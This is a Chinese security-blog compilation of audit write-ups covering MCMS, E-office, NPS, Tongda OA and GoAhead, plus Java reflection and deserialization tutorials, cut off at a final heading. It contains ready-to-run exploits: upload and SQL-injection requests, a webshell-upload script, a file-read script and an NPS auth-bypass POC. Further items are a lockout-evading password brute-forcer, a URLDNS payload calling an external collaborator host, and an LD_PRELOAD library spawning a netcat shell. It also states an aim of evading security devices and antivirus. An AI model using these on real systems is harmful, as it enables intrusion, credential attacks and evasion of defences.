记一次MCMS的审计之路
MCMS 是 J2EE 系统,完整开源的Java CMS,基于SpringBoot 2架构,前端基于vue、element ui。为开发者提供上百套免费模板,同时提供适用的插件(文章、商城、微信、论坛、会员、评论、支付、积分、工作流、任务调度等...),一套简单好用的开源系统、一整套优质的开源生态内容体系。
十天前 MCMS 更新了新的一版本 5.2.9 提示新版本进行了 SQL 安全方面的优化,所以我们尝试 审计 https://gitee.com/mingSoft/MCMS/archive/refs/tags/5.2.8.zip
环境搭建
我们下载好安装包后
利用 idea 打开项目
创建数据库 mcms,导入 doc/mcms-5.2.8.sql
修改 src/main/resources/application-dev.yml 中关于数据库设置参数
运行MSApplication.java main方法
利用账户名:密码 msopen:msopen 登录后台 http://localhost:8080/ms/login.do
进入后台点击内容管理->静态化菜单 -> 生成主页、生成栏目、生成文章
启动的时候会有一点小 bug 需要在 idea 中配置
运行成功后,页面如图所示
前台反射型 XSS
漏洞复现
漏洞分析
我们看到运行后的控制台输出为
我们找到 net.mingsoft.basic.filter.XssHttpServletRequestWrapper 并添加断点,再次触发漏洞,看到一个完整的调用栈,
net.mingsoft.basic.filter.XssHttpServletRequestWrapper#clean(java.lang.String, java.lang.String)
后台命令执行一
漏洞复现
后台有一个可以上传模板文件的位置
我们上传文件并抓取数据包
我们看到数据包中的参数 uploadPath 指定了上传的位置,最后返回了上传后的路径以及文件内容
通过修改 参数 uploadPath 的值,我们就可以将文件上传 webapp 的任意目录下
我们写一个 1.txt 进行验证
POST /ms/file/uploadTemplate.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/html
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--
漏洞分析
通过路由 /ms/file/uploadTemplate 定位到代码位置
net.mingsoft.basic.action.ManageFileAction#uploadTemplate
我们看到虽然存在非法路径过滤函数,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
net.mingsoft.basic.action.ManageFileAction#checkUploadPath
net.mingsoft.basic.action.BaseFileAction#uploadTemplate
后台命令执行二
漏洞复现
我们看到除了上传模板的接口,还存在编辑模板的接口
点击编辑,编辑后保存并抓取数据包
原本的数据包
我们看到参数 fileName 通过绝对路径指定了文件名,所以我们可以通过修改 fileName 来实现绝对路径写入
漏洞分析
net.mingsoft.basic.action.TemplateAction#writeFileContent
我们看到对文件的后缀名进行了检验,但还是通过传入的参数 fileName 写入文件
后台命令执行三
漏洞复现
构造数据包
POST /ms/file/upload.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Content-Length: 506
Accept: */*
Accept-Encoding: identity
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz3nUf5Hws24R3B3A
Cookie:
Origin: http://localhost:8080
Referer: http://localhost:8080/ms/template/list.do?template=1/default
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadPath"
/
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="uploadFloderPath"
true
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="rename"
false
------WebKitFormBoundaryz3nUf5Hws24R3B3A
Content-Disposition: form-data; name="file"; filename="3.txt"
Content-Type: text/html
test
------WebKitFormBoundaryz3nUf5Hws24R3B3A--
返回上传成功的文件的地址
漏洞分析
这个漏洞是在第一个后台命令执行的基础上发现的,两个类位于同一个文件内
net.mingsoft.basic.action.ManageFileAction#upload
虽然存在非法路径过滤函数 checkUploadPath ,查看函数内容,仅仅是对 ../ 进行了校验,通过绝对路径仍然可以绕过
对文件的上传是利用了
net.mingsoft.basic.action.BaseFileAction#upload
存在很多过滤,但是还是可以成功上传文件
后台 SQL 注入漏洞
漏洞复现
构造数据包
GET /ms/mdiy/page/verify.do?fieldName=1;select/**/if(substring((select/**/database()),1,4)='mcms',sleep(5),1)/**/and/**/1&fieldValue=1&id=1&idName=1 HTTP/1.1
Host: localhost:8080
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Cookie:
Pragma: no-cache
Referer: http://localhost:8080/ms/model/index.do?
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="105", "Not)A;Brand";v="8", "Chromium";v="105"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
token: null
发现成功使得服务器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.PageAction#verify
获取参数并传到方法 validated
net.mingsoft.basic.action.BaseAction#validated(java.lang.String, java.lang.String, java.lang.String)
将 fieldName 和 fieldValue 的传入到 where 参数中
net.mingsoft.base.biz.impl.BaseBizImpl#queryBySQL(java.lang.String, java.util.List, java.util.Map)
net.mingsoft.base.dao.IBaseDao#queryBySQL
因为是 mybits 所以未采用预编译的 ${ 就容易产生注入
后台 SQL 注入二
漏洞复现
登录后台后我们找到自定义模型的位置
根据代码生成器 生成一个自定义模型 json 并导入保存
点击删除时 抓取数据包
修改modelTableName
发现成功使得服务器沉睡五秒
漏洞分析
net.mingsoft.mdiy.action.ModelAction#delete
net.mingsoft.base.biz.impl.BaseBizImpl#dropTable
net.mingsoft.base.dao.IBaseDao
查看dropTable对应的mapper内容如下,直接将table内容进行拼接且未预编译,造成SQL注入。
E-office Server_v9.0 漏洞分析
漏洞简介
泛微e-office是一款标准化的协同OA办公软件,实行通用化产品设计,充分贴合企业管理需求,本着简洁易用、高效智能的原则,为企业快速打造移动化、无纸化、数字化的办公平台。由于泛微 E-Office 未能正确处理上传模块中输入的数据,未授权的攻击者可以构造恶意数据包发送给服务器,实现任意文件上传,并且获得服务器的webshell,成功利用该漏洞可以获取服务器控制权。未授权的攻击者可以构造恶意的数据包,读取服务器上的任意文件
漏洞影响范围 E-office Server_v9.0
默认安装位置是 d:\eoffice 在虚拟机内安装没有 D 盘,所以安装位置是 c:\eoffice
安装完成后,服务默认在 8082 端口 通过主机名 或 ip 地址都可以访问到
代码位置在 C:\eoffice\webroot 同样代码也是被加密了的
通过免费的解密网站获得了加密的具体信息 ZEND加密PHP5.2版本 http://www.phpjm.cc/
利用工具进行批量的解密,因为工具点击一次只能进行一次解密,所以利用模拟点击的工具进行模拟点击 https://github.com/taojy123/KeymouseGo
任意文件上传漏洞
漏洞利用
/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId=
POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 10.0.21.14:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Length: 175
------WebKitFormBoundaryykJoMlQs3JMOsgi3
Content-Disposition: form-data; name="Filedata"; filename="1.php"
<?php phpinfo();?>
------WebKitFormBoundaryykJoMlQs3JMOsgi3--
上传文件的地址 http://10.0.21.14:8082/images/logo/logo-eoffice.php
漏洞分析
漏洞的主要位于 general/index/UploadFile.php
通过 $_GET 方法获取的参数 m,调用 UploadFile 中的任意方法
我们选择其中的 uploadPicture 方法
没有对传入的文件进行过滤,如果传入一个 php 文件,命名为 1.php 最后上传文件会变为 logo-eoffice.php 传入的位置是$_SERVER['DOCUMENT_ROOT']."/images/logo/"
利用脚本
import sys
import requests
def request_shell(url):
targeturl = url + "/images/logo/logo-eoffice.php"
response = requests.get(targeturl)
if(response.status_code == 200):
print("获取 shell 成功,shell地址为:"+targeturl)
def request_upload(url,data):
targeturl = url + "/general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId="
targetfile = {'Filedata':('upload.php',data,'text/plain')}
response = requests.post(url = targeturl, files = targetfile)
if(response.status_code == 200):
print("上传成功")
def read_uploadfile(url,filename):
with open(filename) as f:
data = f.read()
request_upload(url,data)
def upload_file(url,filename):
if (filename == "phpinfo.php"):
data = "<?php phpinfo(); ?>"
request_upload(url,data)
else:
read_uploadfile(url,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python upload_file.py http://10.0.21.14:8082 phpinfo.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
upload_file(url,filename)
request_shell(url)
if __name__ == '__main__':
main()
任意文件下载漏洞
漏洞利用
GET /inc/attach.php?path=/../../../../../1.txt HTTP/1.1
Host: 10.0.21.14:8082
Origin: http://10.0.21.14:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
漏洞分析
inc/attach.php
直接传入参数 $path 最后会读取 $path 的内容并将结果返回出来,我们注意到利用未授权就可将文件下载下来,从代码层面并没有看出来原因,但是通过浏览器直接访问时无法访问到,进行了 302 跳转,通过 burpsuite 就可以访问到,攥写脚本禁止 302 跳转也可以读取出来。
漏洞的主要来源位于
我们看一下文件的下载链接
利用脚本
import sys
import requests
import re
def save_reponse(re_result,filename):
filename=re.findall("[^/]+quot;,filename)[0]
# print(filename)
with open(filename, 'w',encoding='gb18030') as f:
f.write(re_result)
def re_response(response):
re_result = response[1507:]
return re_result
def read_file(url,filename):
targeturl = url + "/inc/attach.php?path="+filename
response = requests.get(url = targeturl, allow_redirects=False)
# print(response.text)
re_result = re_response(response.text)
print(re_result)
save_reponse(re_result,filename)
def main():
if len(sys.argv) < 3:
print("Usage: upload_file.py targeturl filename\n"
"Example: python read_file.py http://10.0.21.14:8082 attach.php")
exit()
url = sys.argv[1]
filename = sys.argv[2]
read_file(url,filename)
if __name__ == '__main__':
main()
还有一些 SQL 注入漏洞,还可以继续进一步的进行审计分析。
NPS之Socks流量分析以及未授权复现
前言
因为想要写一个socks的流量算法去绕过安全设备,所以这里对nps的流量特征总结一下,方便自己后期的魔改。
环境
ubuntu 16.04 vps server
windows server 2012R2 clinet
mkdir nps
cd nps
wget https://github.com/ehang-io/nps/releases/download/v0.26.10/linux_amd64_server.tar.gz
tar -zxvf linux_amd64_server.tar.gz
./nps install
cd /etc/nps/conf/
vim nps.conf
配置文件
#web
web_host=a.o.com
web_username=xxxx //管理端用户名
web_password=xxxxxx //管理端密码
web_port = xxxxx //管理端端口
web_ip=0.0.0.0
web_base_url=
web_open_ssl=false
web_cert_file=conf/server.pem
web_key_file=conf/server.key
#web_base_url=/nps
##bridge
bridge_type=tcp //客户端连接协议tcp
bridge_port=xxxx //客户端连接端口
bridge_ip=0.0.0.0
bridge_port的默认端口默认为8024,这里不建议改为默认的,连接客户端的时候可能会触发安全设备规则
NPS未授权复现
POC
#encoding=utf-8
import time
import hashlib
now = time.time()
m = hashlib.md5()
m.update(str(int(now)).encode("utf8"))
auth_key = m.hexdigest()
print("Index/Index?auth_key=%s×tamp=%s" % (auth_key,int(now))
直接访问
http://vps:port?payload
exp请求接口
POST /client/list HTTP/1.1
Host: vps:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 98
Origin: http://vps:port
Connection: close
Referer: http://vps:port/client/list
search=&order=asc&offset=0&limit=10&auth_key=805df7d1f7bf3b662939ca091174e6b4×tamp=1659948547
参考链接:
https://mp.weixin.qq.com/s/PTq01wcV4XJwutbSjHjfvA修复措施
vim /etc/nps/conf/nps.conf取消注释auth_key,添加auth_crypt_key`注释
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
修改为
auth_key=test#auth_crypt_key =!QAZ4rfv%TGB^YHN
目前最新版本的也存在改配置不当问题,这里需要修改配置,修复之后是无法通过未授权读取内容信息的。
socks流量分析
nps start
访问http://vps:port/login
新增客户端
这里用户名和密码随意,这里是客户端登录的认证用户名,在客户端连接的时候是根据密钥来实现的。
客户端选择windwos server 2012R2
修改客户端配置文件
[common]
server_addr=vps:port
conn_type=tcp
vkey=xxxx
auto_reconnection=true
max_conn=1000
flow_limit=1000
rate_limit=1000
basic_username=11
basic_password=3
web_username=xxxx
web_password=xxxxx
crypt=true
compress=true
#pprof_addr=0.0.0.0:9999
disconnect_timeout=60
客户端启动
npc.exe -server=vps:port -vkey=xxxxx -type=tcp
正常情况下会报毒,所以这里针对杀软这一块儿,客户端需要做一下免杀处理。
查看连接状态
使用goby测试socks5
测试代理
已成功实现内网穿透。
这里使用wireshark抓取流量包,
初始流量服务器向客户端发送TST
同时客户端向服务端确认版本,同时返回客户端版本0.26.0
代码位置nps/lib/version/version.go
服务端接收到请求后,客户端请求的数据内容为nps的版本为0.26.10
服务端接收到请求后返回给客户端服务端版本的md5值,即
md5(0.26.0)=89a4f3fc3c89257d6f712de6964bda8e
可以发现在产生nps客户端连接的时候,会产生数据校验,这里数据校验就是有服务器到
这是客户端传输给服务端密钥连接
md5(vkey)
服务端在接收到客户端的请求后校验数据后返回success
这里客户端和服务端的连接流量就比较清晰了,那么想要bypass安全设备的告警,在修改加密方式和修改版本关键字即可,因为在做流量隐藏的时候跟bypassav不一样,不会考虑文件的哈希以及文件在沙箱中的落地状态。
实例解析Java反射
反射是大多数语言里都必不不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有方法(包括私有),拿到的方法可以调用,总之通过“反射”,我们可以将Java这种静态语言附加上动态特性。
什么是反射
java的反射是指在运行状态中,对于任意一个类都能够知道这个类所有的属性和方法,并且对于任意一个对象。
基本形式
public void execute(String className, String methodName) throws Exception {
Class clazz = Class.forName(className);
clazz.getMethod(methodName).invoke(clazz.newInstance());
}
上面的例子中,我演示了几个在反射里极为重要的方法:获取类的方法: forName实例例化类对象的方法: newInstance获取函数的方法: getMethod执行函数的方法: invoke
反射的作用:
让Java具有动态性,修改已有对象的属性,动态生成对象,动态调用方法,操作内部类和私有方法
在反序列化漏洞中的应用
定制需要的对象,通过invoke调用除了同名函数以外的函数,通过class类创建对象,引入不能序列化的类
java反射举例
此处引用白日梦组长的例子,具体讲解一下反射。
先写一个Person作为我们下面演示的原型类
public class Person {
private String name;
public int age;
public void act(){
System.out.println("test");
}
@Override
public String toString() {
return "Persion{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public Person() {
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
}
获取原型类
使用forName方法
Class c = Class.forName("Person");
在此也写一种基于ClassLoader的动态类加载方式
this.getClass().getClassLoader().loadClass("Person");
从原型class里面实例化对象
利用构造函数实例化
Constructor constructor = c.getConstructor(String.class,int.class);
Person p1 = (Person) constructor.newInstance("abc",22);
我们来逐行写一下分析
Constructor constructor = c.getConstructor(String.class,int.class);
这一行是为了获取原型类中重载的构造方法
public Person(String name, int age) {
this.name = name;
this.age = age;
}
对构造方法进行传参实例化一个对象
Person p1 = (Person) constructor.newInstance("abc",22);
我们可以打印一下p1看一下返回结果
获取类里面的属性
private String name;
public int age;
public
Field ageField = c.getField("age");
ageField.set(p1,11);
private
Field nameField = c.getDeclaredField("name");
nameField.setAccessible(true);
nameField.set(p1,"xinyuan");
获取类方法
Method actmethod = c.getMethod("act",String.class);
actmethod.invoke(p1,"SKyMirror");
getMethod 与上面的获取构造函数类似,第一个参数是函数名,第二个是传参的类型
invoke方法第一个传入对象,第二个是传入参数值
利用URLDNS(反射)
这条链子算是反射的一个简单应用。
利用点
URL这个类重写了hashCode方法,导致在执行hashCode的时候,此利用点不能命令执行,但是会请求DNS,所以被用来验证是否存在反序列化漏洞。
源码如下:
可以看到当我们调用一次hashCode方法,他会对传进去的URL对象发起请求,即我们如果去DNSLOG申请一个地址,根据访问来判断是否成功执行了hashCode方法进而判断是否执行了反序列化的操作。
URL这个类实现了java.io.Serializable,可以进行序列化的操作。
因此,在这里我们可以验证一下我们上面的想法。
链子
这个链子也比较短,比较简单,主要是利用HashMap来执行hashCode方法
HashMap实现了Serializable可以序列化,此处注意反序列化时HashMap的readObject方法
我们跟进一下hash方法
key参数可控,key又是由反序列化的时候生成的。在HashMap中用put传入一个URL的对象,即可在反序列化的时候调用到此方法,从而触发整个链子。
有一点需要注意,我们在序列化的时候,进行的put传参会修改掉传入的URL对象的hashCode的值,因为hashCode值不等于-1,从而导致无法正常触发下面的方法,即无法触发DNS请求。
同时在正常put传参的时候会执行一次DNS请求,所以我们在put传参之前修改hashCode的值(不为-1就行),传参之后修改hashCode为-1,在反序列化的时候就可以正常执行了。
payload如下
public static void main(String[] args) throws Exception{
HashMap <URL,Integer> hashMap = new HashMap<>();
URL u = new URL("http://i2loelbsvarbmabqf89qi9k88zep2e.burpcollaborator.net/");
Class c = u.getClass();
//在进行put方法传参之前修改URL对象的hashCode值
Field hashcodeField = c.getDeclaredField("hashCode");
hashcodeField.setAccessible(true);
hashcodeField.set(u,123);
hashMap.put(u,123);
//修改URL对象的hashCode值为-1
hashcodeField.set(u,-1);
serialize(hashMap);
}
Java反序列化之原生
早就想学java安全,但一直无从下手,今天下定决心好好学习,当然以下内容可能会有些许错误,小白的烦恼。
序列化与反序列化
Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。
序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。
为什么需要序列化与反序列化
我们知道,当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等, 而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。
当我们明晰了为什么需要Java序列化和反序列化后,我们很自然地会想Java序列化的好处。其好处一是实现了数据的持久化,通过序列化可以把数据永久地保存到硬盘上(通常存放在文件里),二是,利用序列化实现远程通信,即在网络上传送对象的字节序列。
① 想把内存中的对象保存到一个文件中或者数据库中时候;② 想用套接字在网络上传送对象的时候;③ 想通过RMI传输对象的时候
为什么会产生安全问题?
只要服务端反序列化数据,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。
几种常见的序列化和反序列化协议
XML&SOAP
JSON
Protobuf
理解
类比快递、打包和拆包
有些快递打包和拆包时有独特需求、比如易碎朝上,类比重写writeObject和readObject
实例
Java反序列化的操作,很多是需要开发者深入参与的,所以你会发现大量的库会实现readObject 、writeObject 方法,这和PHP中__wakeup 、__sleep 很少使用是存在鲜明对比的。我在《Java安全漫谈 - 06.RMI篇(3)》的最后一部分,讲到了classAnnotations ,这次再来说说objectAnnotation 。Java在序列化时一个对象,将会调用这个对象中的writeObject 方法,参数类型是ObjectOutputStream ,开发者可以将任何内容写入这个stream中;反序列化时,会调用readObject ,开发者也可以从中读取出前面
创建一个person类
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private String name;
private int age;
public Person(){}
public Person(String name,int age){
this.name=name;
this.age=age;
}
@Override
public String toString() {
return "Person{"+
"name='" + name + "\'" +
",'age=" + age +
'}';
}
}
创建一个序列化类
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class SerializationTest {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person=new Person("xinyuan",22);
serialize(person);
System.out.println(person);
}
}
创建一个反序列化类
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class UnserializationTest {
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream("ser.bin"));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception{
Person person=(Person) unserialize("ser.bin");
System.out.println(person);
}
}
可能的形式
1.入口类的readObject直接调用危险方法
在person类,重写readObject方法,序列化后,反序列化
2.入口类参数中包含可控类,该类有危险方法,readObject时调用。
3.入口类参数包含可控类,该类又调用其他有危险方法的类,readObject时调用
条件
共同条件 继承Serializable
入口类 source(重写readObject 参数类型宽泛 最好jdk自带) Map<Object ,Object>
调用链 gadget chain 相同名称,相同类型
执行类 sink(rce ssrf 写文件等等)
https://github.com/frohoff/ysoserial/
某OA系统审计小记
通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解。
通达oa 11.9 的https://cdndown.tongda2000.com/oa/2019/TDOA11.9.exe ,默认安装地址是 D:\MYOA ,联网状态下会自动更新到通达 oa 11.10
安装成功后,登录界面如下 默认账号为 admin 对应密码为空。
登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功
爆破密码
正常输入账号名密码时,输入三次错误就会禁止10分钟
我们可以通过代码方面追究其原因
webroot/inc/td_core.php
$USER_IP 的值可以来自于 X-Forwarded-For
写个 python 脚本用于爆破用户名密码
import requests
import sys
import re
def read_passwd(passwordfile):
with open(file = passwordfile, mode='r') as f:
passwd = f.read().splitlines()
return passwd
def Intruder_password(url,username,passwd_list):
success_str ="正在进入OA系统,请稍候..."
a=b=c=d=0
url = url +"/logincheck.php"
for passwd in passwd_list:
payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
response = requests.request("POST", url, data=payload, headers=headers)
if(re.search(success_str, response.text)):
print("正确的账号名:{}密码:{}".format(username,passwd))
else:
print("错误密码:{}".format(passwd))
d=d+1
if(d == 255):
c = c +1
d = 0
if(c == 255):
b = b +1
c = 0
if(b == 255):
a = a +1
b =0
def main():
if len(sys.argv) < 4:
print("Usage: Intruder_password.py targeturl username passwdfile\n"
"Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
exit()
url = sys.argv[1]
username = sys.argv[2]
passwd_list = read_passwd(sys.argv[3])
Intruder_password(url,username,passwd_list)
if __name__ == '__main__':
main()
未授权敏感信息泄露
一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析
import os
import sys
import requests
def file_path(url,filefolder):
for root, dirs, files in os.walk(filefolder):
for f in files:
paths = os.path.join(root,f)
paths = paths.replace(filefolder,url)
paths = paths.replace("\\","/")
#print(paths)
if(f.endswith(".php")):
response = requests.get(paths)
# print(str(response.status_code)+" "+str(len(response.text))+" "+paths)
print("code:"+ str(response.status_code) +" len:"+ str(len(response.text))+" url: "+ paths )
def main():
if len(sys.argv) < 3:
print("Usage: file_path.py targeturl filefolder\n"
"Example: python file_path.py http://10.0.18.1:80 \"C:\\Users\\admin\\Desktop\\MYOA\\webroot\"")
exit()
url = sys.argv[1]
filefolder = sys.argv[2]
file_path(url,filefolder)
if __name__ == '__main__':
main()
http://10.0.18.1/inc/reg.php 泄露版本信息
还有很多可以未授权显示的页面,不一一展示了
未授权文件下载
通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载
构造链接 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a
就可以下载到根目录下的 a.zip 文件
我们从代码层面分析一下漏洞的成因
webroot/inc/package/down.php
我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download 中
webroot/inc/utility_file.php
如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码
webroot/inc/package/down.php 我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载
靶场实验练习推荐:
https://www.yijinglab.com/expc.do?ec=ECIDb9ac-4540-46b4-b676-22df36b5935b
goahead环境变量注入漏洞分析
一、前言
1.1 下载地址
二、CVE-2017-17562
2.1 漏洞分析
cve-2017-17562远程命令执行漏洞影响Goahead 2.5.0到Goahead 3.6.5之间的版本。在cgiHandler函数中,将用户的HTTP请求参数作为环境变量,通过诸如LD_PRELOAD即可劫持进程的动态链接库,实现远程代码执行。
2.2 代码分析
漏洞成因位于cgiHandler函数中。代码首先拼接出用户请求的cgi完整路径并赋予cgiPath,然后检查此文件是否存在以及是否为可执行文件。随后就是存在漏洞的关键代码处,如下图所示:
代码将用户请求的参数存入环境变量数组envp中,但是不能为REMOTE_HOST和HTTP_AUTHORIZATION。从这里不难看出黑名单的过滤非常有限,这也为攻击者提供了利用点。 如下图所示代码继续往下执行,将webGetCgiCommName函数的返回值保存在stdIn与stdOut中,此函数将返回一个默认路径位于/tmp文件名格式cgi-*.tmp的绝对路径字符串。 随后代码将cgiPath、envp、stdIn与stdOut作为参数传入launchCgi函数中。
PUBLIC char *websGetCgiCommName()
{
return websTempFile(NULL, "cgi");
}
PUBLIC char *websTempFile(char *dir, char *prefix)
{
static int count = 0;
char sep;
sep = '/';
if (!dir || *dir == '\0') {
#if WINCE
dir = "/Temp";
sep = '\\';
#elif ME_WIN_LIKE
dir = getenv("TEMP");
sep = '\\';
#elif VXWORKS
dir = ".";
#else
dir = "/tmp";
#endif
}
if (!prefix) {
prefix = "tmp";
}
return sfmt("%s%c%s-%d.tmp", dir, sep, prefix, count++);
}
进入launchCgi函数,根据注释可知此函数为cgi启动函数。代码首先打开了两个tmp文件,随后fork子进程并在子进程中将标准输入与标准输出重定向到两个打开的文件描述符上,最后调用execve函数在子进程中执行cgi程序。
至此漏洞相关代码分析完毕,代码在执行execve函数时将cgiHandler函数解析的envp数组作为第三个参数传入,攻击者可以在请求参数时通过LD_PRELOAD环境变量配合代码重定向后/proc/self/fd/0指向POST数据实现动态链接库的劫持。
2.3 漏洞复现
下载编译并通过gdb运行存在漏洞的Goahead程序(3.6.4)
git clone https://github.com/embedthis/goahead.git
cd goahead
make
cd test
gcc ./cgitest.c -o cgi-bin/cgitest
sudo gdb ../build/linux-x64-default/bin/goahead
编写恶意动态链接库,代码以及编译命令如下所示:
#include <stdio.h>
#include <stdlib.h>
static void main(void) __attribute__((constructor));
static void main(void) {
system("nc -lp 8888 -e /bin/sh");
}
// gcc --shared -fPIC poc.c -o poc.so
构造HTTP请求发送
curl -vv -XPOST --data-binary @./poc.so localhost/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0
断点下在execve函数处,此时内存情况如下图所示,envp数组中存在我们注入的恶意环境变量LD_PRELOAD并指向/proc/self/fd/0文件。在代码分析中我们了解到,launchCgi函数会在子进程中将标准输入输出重定向到cgi-*.tmp的文件描述符,而根据以往的经验POST数据会作为cgi的标准输入,也就是说此时/proc/self/fd/0所指向的正是我们的恶意文件poc.so,当execve函数执行时,即可劫持进程动态链接库实现RCE。
2.4 补丁分析
首先是在cgiHandler函数中添加了更加完整的过滤检测,使得LD_开头的字符串无法写入envp数组。
其次是增加了一层if判断,当s-arg不为0时进行字符串拼接。根据索引找到s-arg的赋值语句位于addFormVars函数中,此函数是Goahead处理content-type为application/x-www-form-urlencoded的HTTP请求时会调用。
三、cve-2021-42342
3.1 漏洞分析
